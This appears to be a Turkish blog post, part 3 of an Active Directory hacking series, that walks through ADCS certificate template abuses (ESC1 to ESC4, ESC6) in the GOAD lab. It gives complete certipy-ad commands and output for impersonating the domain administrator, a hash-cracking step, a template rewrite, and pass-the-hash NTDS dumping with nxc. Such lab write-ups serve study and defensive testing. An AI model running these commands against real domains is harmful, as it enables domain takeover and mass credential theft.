Nedensizce bi anda yazmaya başladığım active directory hacking blog serimin 3. part’ından selamlar. Bugün ADCS’deki sıkılaştırma eksikliklerini GOAD test ortamı üzerinden işleyeceğiz.
Active Directory Certificate Services (ADCS), şirketlerin active directory ortamlarında sistemler, kullanıcılar, uygulamalar ve cihazlar için sertifika yönetimi yapmak ve kimlik doğrulama süreçlerini yönetmek için kullanılır.
Başka bir şeye girişmeden 2. part dumpladığım hashleri rockyou.txt ile kırmayı deneyeceğim çünkü blog’u yazmaya başlamadan önce deneme yaparken elimdeki kullanıcılar ile sorun yaşadım. Araştırdığımda ise GOAD ortamında essos’da bulunan khal.drogo üzerinden yürümüş herkes. Biz de öyle yapacağız ama en azından legit hissetmek için hashleri kıralım.
⸜(。˃ ᵕ ˂ )⸝
hashcat hashes-cleaned /usr/share/wordlists/rockyou.txt
khal.drogo : horse
missandei : fr3edom
Elimizdeki cleartext parolalara bunları da eklesek yeterli.
Gelelim bu ortamda bulunan zafiyetlere… (Aslında zafiyet demek yanlış oluyor sanırım ama biz zafiyet diyelim. 👍)
İlk olarak certipy ile zafiyet tespiti yapacağız.
certipy-ad find -u 'khal.drogo@essos.local' -p 'horse' -dc-ip 192.168.56.12 -vulnerable
Yukarıdaki komutu çalıştırdıktan sonra certipy bize bir çıktı verecek. Bu dosyaları incelediğimizde “ESC1" template’inde ESC1, “ESC2” template’inde ESC2 ve ESC3, “ESC3-CRA” template’inde ESC3 ve “ESC4” template’inde de ESC4 zafiyetlerinin olduğunu görüyoruz.😀
Aynı zamanda CA tarafında ESC6 ve ESC8 de var. Biz zaten önceki yazıda ESC8'i sömürmüştük (PetitPotam) o yüzden onu atlayacağım.
Certificate Authorities
0
CA Name : ESSOS-CA
DNS Name : braavos.essos.local
Certificate Subject : CN=ESSOS-CA, DC=essos, DC=local
Certificate Serial Number : 6BEC73A1754AD183456F780ADF6F6B77
Certificate Validity Start : 2024-09-04 22:01:29+00:00
Certificate Validity End : 2029-09-04 22:11:29+00:00
Web Enrollment : Enabled
User Specified SAN : Enabled
Request Disposition : Issue
Enforce Encryption for Requests : Enabled
Permissions
Owner : ESSOS.LOCAL\Administrators
Access Rights
ManageCertificates : ESSOS.LOCAL\Administrators
ESSOS.LOCAL\Domain Admins
ESSOS.LOCAL\Enterprise Admins
ManageCa : ESSOS.LOCAL\Administrators
ESSOS.LOCAL\Domain Admins
ESSOS.LOCAL\Enterprise Admins
Enroll : ESSOS.LOCAL\Authenticated Users
[!] Vulnerabilities
ESC6 : Enrollees can specify SAN and Request Disposition is set to Issue. Does not work after May 2022
ESC8 : Web Enrollment is enabled and Request Disposition is set to Issue
Certificate Templates
0
Template Name : ESC4
Display Name : ESC4
Certificate Authorities : ESSOS-CA
Enabled : True
Client Authentication : False
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : False
Certificate Name Flag : SubjectRequireDirectoryPath
SubjectRequireEmail
SubjectAltRequireUpn
Enrollment Flag : AutoEnrollment
PublishToDs
PendAllRequests
IncludeSymmetricAlgorithms
Private Key Flag : ExportableKey
Extended Key Usage : Code Signing
Requires Manager Approval : True
Requires Key Archival : False
Authorized Signatures Required : 1
Validity Period : 1 year
Renewal Period : 6 weeks
Minimum RSA Key Length : 2048
Permissions
Enrollment Permissions
Enrollment Rights : ESSOS.LOCAL\Domain Users
Object Control Permissions
Owner : ESSOS.LOCAL\Enterprise Admins
Full Control Principals : ESSOS.LOCAL\Domain Admins
ESSOS.LOCAL\khal.drogo
ESSOS.LOCAL\Local System
ESSOS.LOCAL\Enterprise Admins
Write Owner Principals : ESSOS.LOCAL\Domain Admins
ESSOS.LOCAL\khal.drogo
ESSOS.LOCAL\Local System
ESSOS.LOCAL\Enterprise Admins
Write Dacl Principals : ESSOS.LOCAL\Domain Admins
ESSOS.LOCAL\khal.drogo
ESSOS.LOCAL\Local System
ESSOS.LOCAL\Enterprise Admins
Write Property Principals : ESSOS.LOCAL\Domain Admins
ESSOS.LOCAL\khal.drogo
ESSOS.LOCAL\Local System
ESSOS.LOCAL\Enterprise Admins
[!] Vulnerabilities
ESC4 : 'ESSOS.LOCAL\\khal.drogo' has dangerous permissions
1
Template Name : ESC3-CRA
Display Name : ESC3-CRA
Certificate Authorities : ESSOS-CA
Enabled : True
Client Authentication : False
Enrollment Agent : True
Any Purpose : False
Enrollee Supplies Subject : False
Certificate Name Flag : SubjectAltRequireUpn
Enrollment Flag : AutoEnrollment
Private Key Flag : 16842752
Extended Key Usage : Certificate Request Agent
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Validity Period : 1 year
Renewal Period : 6 weeks
Minimum RSA Key Length : 2048
Permissions
Enrollment Permissions
Enrollment Rights : ESSOS.LOCAL\Domain Users
Object Control Permissions
Owner : ESSOS.LOCAL\Enterprise Admins
Full Control Principals : ESSOS.LOCAL\Domain Admins
ESSOS.LOCAL\Local System
ESSOS.LOCAL\Enterprise Admins
Write Owner Principals : ESSOS.LOCAL\Domain Admins
ESSOS.LOCAL\Local System
ESSOS.LOCAL\Enterprise Admins
Write Dacl Principals : ESSOS.LOCAL\Domain Admins
ESSOS.LOCAL\Local System
ESSOS.LOCAL\Enterprise Admins
Write Property Principals : ESSOS.LOCAL\Domain Admins
ESSOS.LOCAL\Local System
ESSOS.LOCAL\Enterprise Admins
[!] Vulnerabilities
ESC3 : 'ESSOS.LOCAL\\Domain Users' can enroll and template has Certificate Request Agent EKU set
2
Template Name : ESC2
Display Name : ESC2
Certificate Authorities : ESSOS-CA
Enabled : True
Client Authentication : True
Enrollment Agent : True
Any Purpose : True
Enrollee Supplies Subject : False
Certificate Name Flag : SubjectAltRequireUpn
Enrollment Flag : AutoEnrollment
Private Key Flag : 16842752
Extended Key Usage : Any Purpose
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Validity Period : 1 year
Renewal Period : 6 weeks
Minimum RSA Key Length : 2048
Permissions
Enrollment Permissions
Enrollment Rights : ESSOS.LOCAL\Domain Users
Object Control Permissions
Owner : ESSOS.LOCAL\Enterprise Admins
Full Control Principals : ESSOS.LOCAL\Domain Admins
ESSOS.LOCAL\Local System
ESSOS.LOCAL\Enterprise Admins
Write Owner Principals : ESSOS.LOCAL\Domain Admins
ESSOS.LOCAL\Local System
ESSOS.LOCAL\Enterprise Admins
Write Dacl Principals : ESSOS.LOCAL\Domain Admins
ESSOS.LOCAL\Local System
ESSOS.LOCAL\Enterprise Admins
Write Property Principals : ESSOS.LOCAL\Domain Admins
ESSOS.LOCAL\Local System
ESSOS.LOCAL\Enterprise Admins
[!] Vulnerabilities
ESC2 : 'ESSOS.LOCAL\\Domain Users' can enroll and template can be used for any purpose
ESC3 : 'ESSOS.LOCAL\\Domain Users' can enroll and template has Certificate Request Agent EKU set
3
Template Name : ESC1
Display Name : ESC1
Certificate Authorities : ESSOS-CA
Enabled : True
Client Authentication : True
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : True
Certificate Name Flag : EnrolleeSuppliesSubject
Enrollment Flag : None
Private Key Flag : 16842752
Extended Key Usage : Client Authentication
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Validity Period : 1 year
Renewal Period : 6 weeks
Minimum RSA Key Length : 2048
Permissions
Enrollment Permissions
Enrollment Rights : ESSOS.LOCAL\Domain Users
Object Control Permissions
Owner : ESSOS.LOCAL\Enterprise Admins
Full Control Principals : ESSOS.LOCAL\Domain Admins
ESSOS.LOCAL\Local System
ESSOS.LOCAL\Enterprise Admins
Write Owner Principals : ESSOS.LOCAL\Domain Admins
ESSOS.LOCAL\Local System
ESSOS.LOCAL\Enterprise Admins
Write Dacl Principals : ESSOS.LOCAL\Domain Admins
ESSOS.LOCAL\Local System
ESSOS.LOCAL\Enterprise Admins
Write Property Principals : ESSOS.LOCAL\Domain Admins
ESSOS.LOCAL\Local System
ESSOS.LOCAL\Enterprise Admins
[!] Vulnerabilities
ESC1 : 'ESSOS.LOCAL\\Domain Users' can enroll, enrollee supplies subject and template allows client authentication
Şimdi sırasıyla bu zafiyetleri sömürelim.
ESC1 —Yanlış Yapılandırılmış Enrollment Hakları
Bu zafiyet, CA (Certificate Authority) tarafından düşük yetkiye sahip kullanıcılara Enrollment haklarının verilmesi durumunda ortaya çıkıyor.
Düşük yetkili kullanıcılar, bu hakları kullanarak herhangi bir domain objesi (kullanıcı, bilgisayar, vs.) için sertifika talep edebilirler. Böylece düşük yetkili kullanıcı, kendisini domain admin gibi yüksek yetkiye sahip bir kullanıcı olarak yetkilendirilmiş bir sertifika ile tanıtabilir.
Zafiyetli sertifika template’ini aşağıdaki komut ile sömürebiliriz.
certipy-ad req -u 'khal.drogo@essos.local' -p 'horse' -target braavos.essos.local -ca ESSOS-CA -template ESC1 -upn administrator@essos.local
Daha sonra aşağıdaki komutu kullanarak biraz önce elde ettiğimiz sertifika ile administrator kullanıcısının NTLM hashini aldık.
certipy-ad auth -pfx administrator.pfx -dc-ip 192.168.56.12
Şimdi bu hash ile daha önce hiç yapmamışız gibi pisliğine NTDS dumplayabiliriz çünkü neden olmasın?
nxc smb 192.168.56.12 -u 'administrator' -H :54296a48cd30259cc88095373cec24da -M ntdsutil
Böylece ESC1 Yanlış Yapılandırılmış Enrollment Hakları zafiyetini sömürmüş olduk. ( ˶°ㅁ°) !!
ESC2 — Yanlış Yapılandırılmış Sertifika Template’leri
ESC2 zafiyeti, yanlış yapılandırılmış sertifika şablonlarının kullanılması durumunda ortaya çıkıyor.
Bu zafiyet, düşük yetkili kullanıcıların belirli bir sertifika template’ine erişim hakları var ise domain admin gibi yüksek yetkili kullanıcılar adına sertifika talep edilebilmesine olanak tanıyor.
ESC1'den farkı, direkt olarak sertifika talep etmek yerine yanlış yapılandırılmış template’lerin kullanılmasıdır.
certipy-ad req -u 'khal.drogo' -p 'horse' -ca 'ESSOS-CA' -template 'ESC2' -dc-ip 192.168.56.12 -target 192.168.56.23
Burada “-u” parametresi ile belirttiğimiz kullanıcı için .pfx uzantılı bir sertifika edineceğiz.
Bu noktada elde ettiğimiz sertifikayı kullanarak “-on-behalf-of” parametresi ile başka bir kullanıcı için sertifika talep edebiliriz. Kullanacağımız template ise “User” olacak.
certipy-ad req -u 'khal.drogo' -p 'horse' -ca 'ESSOS-CA' -template 'User' -dc-ip 192.168.56.12 -target 192.168.56.23 -on-behalf-of 'essos\administrator' -pfx khal.drogo.pfx
Bu noktadan sonra aşağıdaki komutlar ile yine administrator kullanıcısının NTLM hash’ini alıp ESC1'deki pisliği yapabiliriz.
certipy auth -pfx administrator.pfx -dc-ip 192.168.56.12
nxc smb 192.168.56.12 -u 'administrator' -H :54296a48cd30259cc88095373cec24da -M ntdsutil
Böylece ESC2 Yanlış Yapılandırılmış Sertifika Template’leri zafiyetini de sömürmüş olduk.
ESC3 — Yanlış Yapılandırılmış Enrollment Agent Template’leri
ESC3, ESC1 ve ESC2’deki senaryolarla benzer olmakla birlikte zafiyetin tespit ve sömürülmesi kısımları ESC2 ile tamamen aynı olduğundan burayı atlıyorum. Aşağıya hacktricks linki bıraktım.ദ്ദി(˵ •̀ ᴗ — ˵ ) ✧
ESC4 — Yanlış Yapılandırılmış Sertifika Template Yetkileri
ESC4 bir kullanıcının sertifika template’leri üzerinde yazma yetkisi olduğunda ortaya çıkmaktadır.
Bu durumda düşük yetkili kullanıcı ESC4 zafiyetine sahip sertifika template’inin konfigürasyonlarını değiştirerek ilgili template’i ESC1 zafiyetine açık hale getirebilir.
certipy-ad template -u 'khal.drogo' -p 'horse' -template ESC4 -save-old -dc-ip 192.168.56.12
Template’i verdikten sonra certipy ile eski konfigürasyonun üzerine yazacağımızdan “-save-old” parametresini veriyoruz (opsiyonel 💁).
Artık belirttiğimiz template ESC1 zafiyetine açık durumda.
Certificate Templates
0
Template Name : ESC4
Display Name : ESC4
Certificate Authorities : ESSOS-CA
Enabled : True
Client Authentication : True
Enrollment Agent : True
Any Purpose : True
Enrollee Supplies Subject : True
Certificate Name Flag : EnrolleeSuppliesSubject
Enrollment Flag : None
Private Key Flag : ExportableKey
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Validity Period : 5 years
Renewal Period : 6 weeks
Minimum RSA Key Length : 2048
Permissions
Object Control Permissions
Owner : ESSOS.LOCAL\Enterprise Admins
Full Control Principals : ESSOS.LOCAL\Authenticated Users
Write Owner Principals : ESSOS.LOCAL\Authenticated Users
Write Dacl Principals : ESSOS.LOCAL\Authenticated Users
Write Property Principals : ESSOS.LOCAL\Authenticated Users
[!] Vulnerabilities
ESC1 : 'ESSOS.LOCAL\\Authenticated Users' can enroll, enrollee supplies subject and template allows client authentication
ESC2 : 'ESSOS.LOCAL\\Authenticated Users' can enroll and template can be used for any purpose
ESC3 : 'ESSOS.LOCAL\\Authenticated Users' can enroll and template has Certificate Request Agent EKU set
ESC4 : 'ESSOS.LOCAL\\Authenticated Users' has dangerous permissions
ESC1 — Yanlış Yapılandırılmış Enrollment Hakları kısmındaki adımları izleyerek devam edilebilir.
certipy-ad req -u 'khal.drogo' -p 'horse' -target braavos.essos.local -ca ESSOS-CA -template ESC4 -upn administrator@essos.local
certipy-ad auth -pfx administrator.pfx -dc-ip 192.168.56.12
nxc smb 192.168.56.12 -u 'administrator' -H :54296a48cd30259cc88095373cec24da -M ntdsutil
Not: Gerçekçi bi ortamda benim burada yaptığım gibi ntds dumplayıp durmayın tepenize binerler bütün alarmlar ötüyor diye…
ESC6 — EDITF_ATTRIBUTESUBJECTALTNAME2
EDITF_ATTRIBUTESUBJECTALTNAME2
flag’i etkin ise düşük yetkili kullanıcılar SAN (Subject Alternative Name) alanını manipüle edebilir. Böylece SAN alanına yüksek yetkili bir kullanıcının bilgilerini ekleyerek, bu kullanıcı adına sertifika talep edebilir ve elde edilen bu sertifikayı kullanarak domain yöneticisi gibi kimlik doğrulaması yapabilir.
Uzun lafın kısası ESC1'i herhangi bir template kullanarak sömürebiliriz. Sadece buradaki önemli nokta kullanacağımız template’in client authentication’a izin vermesi lazım.
certipy-ad req -u 'khal.drogo' -p 'horse' -target braavos.essos.local -ca ESSOS-CA -template User -upn administrator@essos.local
Buradan sonrasını zaten biliyoruz. ദ്ദി๑>•̀๑)
Böylelikle GOAD ortamında bulunan ADCS üzerindeki zafiyetleri tamamladık (sanırım).
Aşağıdan bu seride kullandığım komutları ve fazlasını barındıran cheat-sheet’e erişebilirsiniz. Okuduğun için teşekkürler!!!